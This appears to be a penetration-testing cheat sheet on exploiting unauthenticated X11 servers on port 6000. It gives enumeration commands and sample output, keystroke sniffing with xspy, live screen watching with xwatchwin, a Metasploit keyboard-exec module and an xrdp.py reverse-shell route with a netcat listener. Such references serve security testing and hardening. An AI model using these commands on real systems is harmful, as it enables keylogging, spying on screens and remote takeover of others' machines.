Basic Information
The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.
From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Default port: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeration
Check for anonymous connection:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Verfy Connection
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy to sniff the keyboard keystrokes.
Sample Output:
xspy 10.9.xx.xx

Remote Desktop View

./xrdp.py <IP:0>

First we need to find the ID of the window using xwininfo
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0

XWatchwin
For live viewing we need to use
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Get Shell
msf> use exploit/unix/x11/x11_keyboard_exec
Other way:
Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:
./xrdp.py <IP:0> –no-disp
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
Then add the IP and port and then select R-Shell, which is illustrated below:
Now as can be seen below we have complete system access:
